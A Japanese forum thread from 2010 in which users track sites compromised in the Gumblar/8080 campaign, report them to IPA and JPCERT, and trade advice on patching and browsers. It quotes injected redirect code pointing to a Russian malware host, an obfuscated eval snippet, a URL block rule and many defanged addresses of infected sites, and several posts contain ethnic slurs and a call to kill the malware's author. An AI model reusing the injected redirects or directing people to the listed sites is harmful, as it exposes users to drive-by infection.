- 467 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 10:15:30
- >>463
乙です
- 468 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 10:43:39
- mokunen●com
木質燃料だけに…
- 469 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 11:10:45
- d-money●jp
- 470 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 11:47:10
- >>458
>>468
IPA、JPCERTに報告しました
>>469
IPA、JPCERTに報告しました
Aviraに検体を提出、返事待ち
- 471 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 13:26:42
- >>449
FFRWとかのレジストリ掃除ツール使えば手動で弄らなくてもそういう残骸はみんな消せるんだけどね
トラブルもほぼ起きない(RegSeekerみたいな漢専用ツールもあるから前評判は確かめた方がいいけど)
でも初心者じゃレジストリとか知らんだろうしな
俺は普通高校でhtml言語とかWordとかほんの少しやったけど
あんなもの教えるくらいならPCのセキュリティについて教えればいいのに
- 472 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 14:02:52
- 先生が教えられることは先生が説明できることだけだ
- 473 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 14:06:24
- >>471
何歳だか知らんけど、既に教える内容は変わっていると思われ。
オッサンの俺はそもそも学校でPCなんか教わらなかった
(PC9801でDOSでパソコン通信の時代。当時の高校生は
友達とはポケベルでコミュニケーションしていた)。
数学や英語などと違って技術の進歩に合わせて頻繁に変わる
(変えざるを得ない)から、先生が大学で修得していなかったことを
教える羽目になってる(教科書棒読みの)数少ない教科なんじゃないかな。
- 474 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 14:56:57
- adgaw●com/keyword/b/
- 475 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 15:33:14
- 五色温泉の抱えてた切符ってラトビア行きだっけ？
- 476 ：コテハン ◆8080adndqg ：2010/06/04(金) 16:29:29
- >>470 乙乙
【陥落サイトのURL悪用厳禁】
www●amakusaturigu●com/ ←絶賛放置中
www●kadaru●mydns●to/ ←相変わらず未対応(悪質)
↓↓↓↓↓
architects-egg●kadaru●mydns●to/ ／(^o^)＼
www●ad-jeaayf●com/links/
※※※アクセス注意！※※※
www●bestofunder●com/
↓
＜script language="JavaScript"＞top.location = 'ｈttp://antiviru●ru/';＜/script＞
＜meta http-equiv="Refresh" content="0; URL="ｈttp://antiviru●ru/"＞
＜center＞＜a href="ｈttp://antiviru●ru/"＞Click＜/a＞＜/center＞
＜a href="ｈttp://antiviru●ru/"＞ Click Here＜/a＞
※最下部のGumblar.xはきっと無害
www●bestofunder●com/indexst●html ←これが本家かな？
- 477 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 16:50:24
- 少しは役に立つ機関… なのに知名度低いんだよな
http://www.ipa.go.jp/security/txt/2010/06outline.html
- 478 ：316：2010/06/04(金) 18:09:26
- >>280
Last-Modified: Fri, 04 Jun 2010 07:32:33 GMT
＞ 当財団ウェブサイトへのウィルス感染に関するお詫びとご報告
- 479 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 20:54:44
- PUA.HTML.Infected.WebPage-2
これもこのウイルスの検出名でおk？
- 480 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 21:36:24
- それを確認してどうするのかと
- 481 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 21:44:54
- >>480
常駐以外のを使ってこれを検出した
スプリクトに反応しただけなら問題ないから確認したかったが、スレチだったな
- 482 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:07:38
- ブラウザキャッシュなら名前より検出場所でわかるんじゃないの
- 483 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:15:27
- >>482
場所見る前にブルスクった
まあ大丈夫だろうし、ありがとう
- 484 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:17:47
- どういうエラーで落ちたのかにもよるけどそれは問題あるとおもいます
- 485 ：444：2010/06/04(金) 22:41:43
- >>466
どもです
関連リンク
[いま一番危ないぜい弱性は何だ？ - 今週のSecurity Check：ITpro]
http://itpro.nikkeibp.co.jp/article/COLUMN/20100601/348706/
Java(JRA) 38%
Adobe Reader/Acrobat 36%
MDAC (UpdateしてないExcel)19%
[本当の攻撃はこれから？ Gumblarが怖い本当の理由 － TechTargetジャパン 情報セキュリティ]
http://techtarget.itmedia.co.jp/tt/news/1004/28/news01.html
（要会員登録or[-CmsMembersControl])
「Gumblar（ガンブラー）の攻撃モデルは、近年まれに見る成功例」鵜飼裕司
2010.03.25と古いですが
最近見て、改竄された不名誉は甘んじて受ける姿勢が好感したので↓
[音素材サイト『ザ・マッチメイカァズ』閉鎖の危機?! 管理人が語る“ガンブラー”の脅威- ガジェット通信]
http://getnews.jp/archives/53016
- 486 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:45:16
- >>484 どういうエラーで
Dr.webの異常終了で、既知の問題だからおk
part4からの住人で対策はとっくにやってある
- 487 ：485：2010/06/04(金) 22:45:23
- 444じゃなくて440でしたごめんなさい
- 488 ：486：2010/06/04(金) 22:46:35
- あ、part5だた
- 489 ：456：2010/06/05(土) 03:16:56
- park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
封鎖確認
wakwak案外はやいww
- 490 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 09:02:43
- 僕はちょうせんじん知的障害者です
魚醤系316系の僕のちょうせんじん知的障害者まとめです
322 ：316：2010/05/30(日) 03:42:15 ←なまえ316系 え？何これ怖いです。。。
324 ：315：2010/05/30(日) 08:32:37 ←なまえ316系さん？315？え？自分にお返事 何これ怖いです。。。
315
378 ：316：2010/06/01(火) 01:43:29 ←魚醤？ え？魚醤てなんですか？ あぁー。。。怖いです。。。（魚醤系）
>>375
あぁー。。。
>>280のアドレスで具具れば魚醤～
419 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:37 ←あ！魚拓になりました！よかったのであつた！
>>416
今回は魚拓をとってから電凸したのであつた
同人の魚拓好き腐まんこさん？あほ(ry
__､､=--､、 ＿＿
/ ・ ﾞ! ／・ ｀ヽ
| ・ __,ﾉ （＿ ・ |
ヽ、 (三,､, ＿） / 僕あほ ちゃうどー 電凸すきやねん電凸て何？
/ー-=-i'’ （__＿＿,,,.ノ
|＿＿,,/ |＿＿ゝ ← 新型Gumblar>316型 魚醤系 ボンクラ腐まんこ（推定）
〉 ） （ ）
↑
ぼくは知能指数？12です僕です(ry
- 491 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 12:07:31
- にほんごでおｋ
- 492 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 14:58:03
- >>491
反応しちゃダメだ。
華麗にスールだぞ
- 493 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 16:01:19
- >>476
www●amakusaturigu●com ：Forbidden
www●bestofunder●com ：Gredで「Misleading Application (BW017B)」
後は変化なし
- 494 ：コテハン ◆8080adndqg ：2010/06/05(土) 16:36:21
- ■ホームページ更新代行
www●7500zei●com/ ←既に修正済
※ソースの最下部に8080の痕跡
<!--d2392c04537c5eaf61fe86d1998535a1-->
↓びんぐがコードを捕捉(きゃっしゅ)してた↓
cc●bingj●com/cache●aspx?q=site%3awww●7500zei●com%2f&d=4616900965040755&mkt=ja-JP&setlang=ja-JP&w=db69f17b,70c28a29
- 495 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:01:40
- 今日windows defenderでスキャンしたら
何か検出されたので検索したらどうやら
ガンブラー系っぽいものだった。
ガンブラー対策はこまめにしてた。
削除しようとしたら
再起動を促されて再起動したけど
セーフモードですら起動せず・・・・
泣く泣くクリーンインストールしました。
何かこれまでの対策が効かない
新型亜種でも出回っているのですか？
- 496 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:27:15
- >>496
何を根拠にガンブラー言うのかわからんのだが･･･
>>4は8080系用の対策方法だから、違う系統の改竄に対しては効果が無い場合がある。
Gumblar(ガンブラー)＝サイト改竄の総称と決め付けてしまった
某セキュリティソフトベンダーと、それをそのまま報道したマスゴミの罪は大きい
- 497 ：496：2010/06/05(土) 17:29:18
- 安価まちがえたorz
>>496→>>495
- 498 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:30:51
- >>495
検出ウイルス名は？
- 499 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:40:07
- >>495 です。
ウイルス名はそもそもクリーンインストールしてしまったので
わからなくなってしまったんだけど、「downloader」みたいな単語があった
気がします。
検出されたウイルス名をググッたら完全にHITはしなかったんだけど
同じようなウィルス名のものがどうやらガンブラー系とのことでした。
ちなみにOSはXP SP3 でウイルス対策ソフトはAVAST５free、
火壁は PC TOOLS、ブラウザはIE7です。
アップデートとかこまめにやってましたが・・・
ほぼ毎日スキャンはしてました。
ちなみに今回のウイルスを検出したのは
windows defender でした。
- 500 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:58:47
- >>499
windows defenderでウイルスって検出するの？
downloaderこれだけじゃなんともいえん
他にもたくさんある
- 501 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:06:30
- こまめにアップデートしながらIE7？
何か色々穴がありそうな人だな
- 502 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:10:35
- >>499
IE7の時点でこまめにやってるとは言えない
- 503 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:17:27
- ゼロデイのAdobeにまたまたゼロデイｗ
ttp://www.adobe.com/support/security/advisories/apsa10-01.html
- 504 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:29:23
- >>499 です。
>>501-502
IE8は個人的な事情があって使ってませんでした。
今回はもう素直にIE8にしました。
>>500
毎日（平日）AVASTでスキャンしてたのですが
毎週末にdefenderでもスキャンします。
今回なぜかスパイウェアとして検出されました。
ウイルス名はやっぱり思い出せません。
ちなみにアングラなサイトには行かない程度に
ネットサーフィンする程度ですが・・・
- 505 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:33:33
- この一連のウイルスの場合、アングラも非アングラも関係無いってことが判ってない時点で(ry
- 506 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:52:13
- >>505
すいません。
それくらいは知っていましたが、
（大手企業のサイトも改ざんされた等）
当方それほどPCに関するスキルがないので
何とかそれなりに情報収集して対応してきた
つもりです。
でも結局やられてしまったので
ちょっと悔しくてここで愚痴っただけです。
周辺機器のドライバのインストールや
年賀状の住所録を作り直すのが
めんどくさいですね。
残りの作業も今からがんばります。
- 507 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:52:22
- まぁPC初心者じゃあ解らなくてもしょうがないだろ
おまけに初心者スレにこの類を扱うスレは存在しないからここにすがるしかない
- 508 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 19:18:36
- ここもテンプレが改竄されてる時点で
- 509 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 19:31:00
- ＞ちょっと悔しくてここで愚痴っただけです。
見事な開き直りですね
- 510 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 21:24:05
- >>506
いくつかレスキューディスクが提供されてるので試して欲しかったですね
■ノートン レスキュー ツール
http://security.symantec.com/nbrt/overview.asp
■Dr.Web LiveCD
http://drweb.jp/support/LiveCD.html
駆除できなくても住所録の救出くらいできたはず
■WinPE
http://lets-go.hp.infoseek.co.jp/winpe_index.html
- 511 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 23:38:06
- >>504
IEはデフォルトの設定だと穴が多いから
Firefox＋NoScript＋AdblockPlus
この組み合わせを推奨する
NoScript→<IFRAME>禁止にチェックを入れる
AdblockPlus→|http://*:8080* をブロック
- 512 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 23:46:35
- ほーらまたアンチFx厨が来まちゅよ～
- 513 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 02:09:59
- FirewallやProxomitronやHIPS/IDSで遮断検知ルール作って
PC内全てのブラウザに適用出きるようにすればええがな
- 514 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 02:43:38
- そんなスキル持ち合わせておらぬ！(ｷﾘｯ
- 515 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 03:08:12
- >>511
糞企業のザルPCには激しくオススメしたい組み合わせ
- 516 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 04:43:29
- Flash Player, Adobe Reader and Acrobat に致命的脆弱性だってよ。
攻略コードも既に出回ってるって。
- 517 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 05:02:54
- 現時点での対策がFlash 10.1 RCにしろってのが最悪だよな。
あれはあれでクラッシュするサイトがあったりしてまだまだ不安定な代物なのに。
- 518 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 05:31:38
- フラッシュプレイヤーとか競争相手が居ないからノンビリしてるんだろうなアドビ
のんびりし過ぎてユーザーから反感を買ってるのも知らずに・・・
- 519 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 06:55:03
- HTML5だっけかに穴とか無ければそっちに移行してもらいたいもんだ
- 520 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 09:02:26
- >>511
Vista以降のOSとIE8以降の組み合わせで使える保護モード使えよ
そうすりゃfirefoxより安全だろ
ChromeのWindows版や、IE8以降＋Vista以降は、ブラウザの主要部分を限定された権限で動かして、
ブラウザがセキュリティーホールでやられても影響が限定されるようになってる
firefoxは全部標準の権限で動いてるから、ブラウザがセキュリティーホールでやられるとまともに影響をうける
- 521 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 13:46:49
- ここのアクセスしたらavastがトロイを発見しましたといいます
www●pacs●co.jp/pacs/hist_walk/walk_miyagi04/senwaka_saisyou_temp/
aguseとgredでチェックしても、安全としか出ないのですが
誤検出なんでしょうか？
- 522 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 13:55:31
- >>521
どんなトロイ？
- 523 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 15:38:56
- http://www●pacs●co●jp/pacs/hist_walk/walk_miyagi04/senwaka_saisyou_temp/pacs_pr/qqpr●php?d=sponser/&i=10&a=R&c=RV&w=550&h=50
ここに仕込まれてる
<script language=JavaScript>eval(unescape('var%20codelock_bas～～
- 524 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:04:15
- 火狐ﾏﾝｽｪーーーーー(棒)
- 525 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:04:17
- home●e-catv●ne●jp/jun/
- 526 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:12:21
- >>525
どこにあるの？
- 527 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:59:13
- dotetin●sakura●ne●jp/
blaugrana●sakura●ne●jp/
- 528 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 17:49:52
- >>523
難読化されてるけど
バナーの画像を入れ替えてるだけじゃないの？
- 529 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 18:08:49
- mqpws428●sakura●ne●jp/index7●html
具体的には分かりませんが
らしき物が見受けられます
いかがでしょうか？
- 530 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 18:13:08
- ここは鑑定スレじゃねぇよ
- 531 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 18:49:16
- www●bestofunder●comが強烈でワロタww
- 532 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 19:11:35
- アドビはなんでここまでやる気ないの
ソフトは穴だらけだわバージョン更新を餌にgetplusとか怪しげなもん植えつけようとするわ
- 533 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 19:49:44
- >>531
http://megalodon.jp/2010-0321-0041-21/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.bestofunder.com%2Findex.html
再感染で.htaccess改竄？
http://www.dan.co.uk/viewsource/index.php?url=http://www●bestofunder●com/
xxxx.ruに飛ばされるから怪しいけど
ここにリンクあるから川島って人が管理してるサイトらしい
http://0000181856.seesaa.net/archives/200811-1.html
- 534 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 20:49:34
- >>529
Index丸見えで、非公開のつもりのファイルが感染してます
image/sample/sample/index6.html
怪しげな情報商材も公開中です
- 535 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 21:45:09
- 最近のGumblarはスタートアップやタスマネのプロセスでも感染の有無が分からないのかねえ
>>3-6の対策、こまめな定義更新・ウイルススキャンを地道にしていくしかないか
- 536 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 21:50:21
- >>535
お前のアンカーがヤバイ
- 537 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 21:54:48
- >>353
氏ね
何考えてるんだ
- 538 ：537：2010/06/06(日) 21:55:34
- ×>>353
○>>535
- 539 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:06:12
- 馬鹿にしろ故意にしろ悪質
- 540 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:08:54
- リンクからブラウザ起動しないように専ブラの設定変えとけば？
- 541 ：535：2010/06/06(日) 22:14:48
- 変なURLのやつはもちろん省くさ
> 使用していないものはアンインストール推奨です
>
> ■ Windows XPは可能ならば新しいOSに
> ■ Windows Update / Microsoft Updateを更新
> ・XP以下は念のためMicrosoft Updateに変更してアップデートする
> ■ Adobe Reader(Acrobat,Acrobat Reader)を更新 (使っていないならアンインストール)
> ttp://get.adobe.com/jp/reader/
> ・インストール後本体をアップデート
> ヘルプ → アップデートの有無をチェック
> ・Acrobat Javascriptをオフにする
> 編集 → 環境設定 → Javascript → 「Acrobat Javascriptを使用」のチェックを外す
> ■ Adobe Flash Playerを更新 (動画サイト見てるなら絶対入ってる。IE版、Firefox等の非IE版に注意！)
> ttp://get.adobe.com/jp/flashplayer/
> ttp://www.adobe.com/jp/shockwave/download/alternates/#fp
> ・Flash Playerのバージョン確認
> ttp://www.adobe.com/jp/software/flash/about/
> ttp://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
> ■ Adobe Shockwave Playerを更新 (最近は使わないはずなのでアンインストール)
> ttp://www.adobe.com/jp/shockwave/download/alternates/#sp
> ■ Java Runtime Environmentを更新 (Javascriptとは違うので注意)
> ttp://www.java.com/ja/
> ・Javaのバージョン確認
> ttp://www.java.com/ja/download/installed.jsp
> ■ QuickTimeを更新 (メールアドレスの入力は不要。使っていないならアンインストール)
> ttp://www.apple.com/jp/quicktime/download/
> ■ RealPlayerを更新 (使っていないならアンインストール)
> ttp://jp.real.com/?mode=basic
ここだけ重点にして
- 542 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:16:14
- QuickTimeやRealPlayer無しで思う存分動画見られるプレイヤーがあればなあ
- 543 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:17:10
- >>540
自分が踏んじゃうからこわーい＞＜
って言ってんじゃねえよ
- 544 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:19:42
- >>541 お前の理解度なんかどうでもいい
- 545 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:34:47
- スタートアップの製造元、コマンド、場所項目
タスマネプロセスの説明項目
このあたりに不明とか書いてたら怪しいと思っていいのかな
- 546 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 23:01:02
- >>521
たぶん誤検知
いかにもな難読化コードなので誤判定されるのも無理ないけど
- 547 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 23:05:22
- >>531,533
ちょっとまさぐってみたら
XXXXXXX●ru/skank/index●php?page=3d-anime-hentai-videos
３Ｄアニメ変態ビデヲｗｗｗｗｗ
※何が落ちてくるかは知らん
- 548 ：547：2010/06/06(日) 23:21:51
- ちょっと追記
アクセスする毎に飛ばされる先が違う
thermalvisit●ru
awmmagazine●ru
visitthermal●ru
他にもあるかもしれん
- 549 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 11:35:56
- >>546
Avira「HTML/Crypted.Gen」
Avast「JS:Redirector-CE [Trj] 」
Dr.Web「Trojan.MulDrop.1010」
- 550 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 14:26:36
- 535はうっかりクリックしたらどうすんだよｗ
- 551 ：コテハン ◆8080adndqg ：2010/06/07(月) 14:34:05
- 【陥落サイトのURL悪用厳禁】
www●gal-love●com/
katusika●net/
d-pic●net/repo/ ←トップページ以外は相変わらず絶賛放置中
www●bbfactory●jp/
dental-mos●net/ap/14/4/
cre2cash●f01●jp/ ←<!--カス対応中ｗ-->
www●ad-jeaayf●com/links/
www12●plala●or●jp/atakashi/sk/
elyess●hotel-prony-elysees-paris●com/ao/5/3/index●html
- 552 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 16:08:52
- なんかめっちゃ増えてるんですけどorz
- 553 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:27:12
- 【悪用厳禁】
http://www●marucen●co●jp/
http://www●haisui●com/
http://webright●jp/
http://kayak-nature●vaxponys●com/
JRCERTに報告しました
>>551
JPCERTに報告しました
- 554 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:28:02
- http削り忘れた…
- 555 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:32:09
- 報告してくれるだけで十分ありがたい
次からは気をつけてね
- 556 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:44:09
- Flash Player、Adobe Reader/Acrobatに新たな脆弱性、既に悪用も
http://internet.watch.impress.co.jp/docs/news/20100607_372679.html
- 557 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:48:26
- マジかよ
動画サイト見るのも命がけの時代か
- 558 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:53:24
- 俺はずっと10.1RCを使ってたから
たまたま運良く被害をまぬがれていただけらしい
- 559 ：コテハン ◆8080adndqg ：2010/06/07(月) 18:09:37
- >>553 乙です
過去に陥落履歴があった(ような気がする)vaxponys●comを掘ってみた･･･
【陥落サイトのURL悪用厳禁】
best-shoper●vaxponys●com/
dream-girls●vaxponys●com/
diet-mates●vaxponys●com/
rocken-house●vaxponys●com/
german-house●vaxponys●com/
rice-premium123●vaxponys●com/
wine-house●vaxponys●com/
premium-farmer●vaxponys●com/
dyson-good●vaxponys●com/
kayak-house●vaxponys●com/
event-mate●vaxponys●com/
natural-warm●vaxponys●com/
rooms-sayaka●vaxponys●com/
祝！＼(^o^)／全滅
※他にもあるかも･･･
- 560 ：コテハン ◆8080adndqg ：2010/06/07(月) 18:16:18
- 追記
■セーフ ブラウジング
vaxponys●com の診断ページ
www●google●com/safebrowsing/diagnostic?site=vaxponys●com/&hl=ja
>過去 90 日間に、このサイトの一部で不審な動きが 2 回報告されています。
>不正なソフトウェアは vaxponys●sakura●ne●jp/, supernewstuff●ru/ を含む 2 個のドメインでホストされています。
>vaxponys●sakura●ne●jp/
(;ﾟдﾟ)･･･
- 561 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 18:25:13
- 新型ってないの？
ここで報告されているのは殆どavast!で検出できるし
- 562 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 18:36:58
- >>535のアンカーは何で危険なんだ?
専ブラでカーソルを合わせるだけなら問題ないのでは?
- 563 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 18:42:42
- >>562
迷い込んだ初心者が信用して上から順に素直に何も疑わずクリックすることが想像される
住人の心配は全くしていない
- 564 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 19:03:57 ?PLT(19650)
- >>561
Katesリバースエンジニアリングされて中身暴露されたからじゃない？
- 565 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 19:24:33
- www.tu-han4.com/hatumo/
- 566 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 19:50:31
- >>559
>>560
「vaxponys●sakura●ne●jp」をさくらに通報しました
>>561
取りこぼした検体を提出して検出率100％を目指すというのはどうか
>>565
>>368の時点でJRCERTに提出したんですけど、まだダメですか
もう一回通報しとこうかなあ…
- 567 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 22:46:06
- このスレの存在自体危険だよな
- 568 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 22:51:14
- >>567
罠リンクを罠リンクと見抜ける人間でないと（2chを使う事は）難しい
- 569 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 22:52:36
- Silverlightってどうなの？
脆弱性報告されてたりする？
セキュリティ的にFlashよりいいのなら
ようつべも使えばいいのにと思うのだが
- 570 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:01:33
- 今はレジストリでしか感染確認出来ない？
- 571 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:26:52
- >>567
このスレがあるから日本でのパンデミックが抑えられてるとも言える。
細々した陥落サイトを閉鎖・修正・消滅に追い込んでる人達に感謝しろよ。
- 572 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:28:45
- >>570
最近出てるのは確認のしようがないらしい
駆除法もクリーンインストール（普通のウイルスやマルウェアならそこまで行きつかない最終手段）しかないって有様だしな
マスゴミや政府がザルなせいで被害は広がる一方
- 573 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:52:52
- >>572
FTP以外のメール等のアカウントも抜かれるなら
迷惑メールがいっぱいくるのかな
- 574 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:55:15
- 確認のしようがないってことはavastでスキャンとかしてウイルスなしでも
感染してるかもしれないってことですか？
- 575 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:57:51
- >>573
迷惑メールは受信だけでなく送信もありえる
それによってフリーメールアカウントなら停止させられるかもしれない
- 576 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:58:48
- >>574
感染後にDLする何らかのウイルスを検出する可能性が高い
偽セキュリティソフトなんかがその典型
- 577 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:04:02
- なんでこれだけ被害出てるのに、firefoxとかセキュリティーの低いブラウザ使い続けるのかわからん
IE8/9+Vista/7で保護モード使うか、ChromeのWindows版使うかすればいいのに
いまだにセキュリティー対策にIEからfirefoxにかえろとか大嘘おしえてGumblarとかに引っかかるユーザーを
量産してるアホはいますぐ腹を切るべし
- 578 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:05:56
- XPなので保護モードありません＞＜
CPUがPenIIIなのでDEPもありません＞＜
- 579 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:09:27
- >>573
アカウントと言えばYouTube、ニコ動のやつも何か利用されるのだろうか
著作物とかが勝手に違法アップロードされるとか
- 580 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:30:38
- それよりもGumblar作ったやつをさっさと捕まえるなり殺害するなりしろよ
ここまでやっておいて死刑ですら生温いわ
- 581 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:30:51
- firefoxで感染なんかしたことないな
script切ってない本人の問題
IEでないと見れないどこかのキムチ国ブラウザなんかいらないからw
- 582 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:31:08
- テキストウラウザ最強だな
- 583 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:32:22
- Windows捨てればええねん
LinuxやMacOSへGO！
- 584 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:34:43
- どのブラウザなら大丈夫なんてないだろ常識的に考えて
それよりしっかりパッチ当てるなりサードパーティ製品のアップデートしろ
- 585 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:43:11
- そういえばGumblarにたいしてHIPSは有効なのかね
ゼロディされたらこれが唯一の防御壁だろ
- 586 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:50:44
- HIPSは有効だろうね
ドライブバイダウンロードやおかしな通信を防げる
ただし、最初に感染した時に何されたかはわからないけど
- 587 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 01:15:20
- FirefoxにSnortライクなアドオンのFirekeeperがお手軽か
url_content, headers_content, body_contentやurl_re, headers_re, body_reで
拒否許可やアラートのルール作れるらしいから
- 588 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 01:28:23
- 最近のトレンドは、「やられても安心」っていう方向だからな
ところがfirefoxは設計が古臭く、やられにくいようにできるけど、やられたらダメっていうあいかわらずの旧タイプだな
IEやChromeは、やられても安心っていう方向に進化した
- 589 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 01:36:17
- 情報ダダ漏れのブラウザなんかいらない
- 590 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 03:08:26
- ところが、実際にはFFが安全だったりするｗ
使ってれば判る事なんだが、アンチ糞は脳内だから知らないんだよ
- 591 ：あんちたった ◆MOTO.0SDfQ ：2010/06/08(火) 03:13:30
- >>588
（ ﾟДﾟ）ﾊｧ?
やられたら安全も糞もねぇ終わり。
どのブラウザも同じでしょ？
どのブラウザでもやられないようにすることが大事。
拾い食いして毒食べても平気な人間が居ないのと一緒。
- 592 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 05:32:40
- ↓この辺とか未対策だったらどうしようもないよね。
ttp://kb2.adobe.com/jp/cps/849/cpsid_84948.html
- 593 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 05:55:30
- OSが窓ならなw
- 594 ：593：2010/06/08(火) 06:04:10
- ごめんスレ違い
- 595 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 06:46:28
- まぁFFと書く >>590 みたいなのは火狐厨の中でも
特別に低能な情弱なんだけどね
- 596 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 07:02:10
- >>590
FFって馬鹿じゃねーの
- 597 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 07:10:42
- 保護モード下のIEやWindowsのChromeは、レンダリングは権限の低い別プロセスで行うから、
ブラウザがセキュリティーホールでやられたとしても、さらにOSのセキュリティーホールまで
やられない限り影響をうけない
もちろん、レンダリングと同じプロセスで動くプラグインにセキュリティーホールがあってやられたとしても同様
プロセスがやられたらおしまいな火狐とは違う
- 598 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 07:48:33
- まあそういうのにこだわってる奴ほど引っかかるんだけどな…
- 599 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 08:24:14
- あほか
普通に使ってればこだわり以前にFxだわ
悔し紛れに恥の上塗りかよ
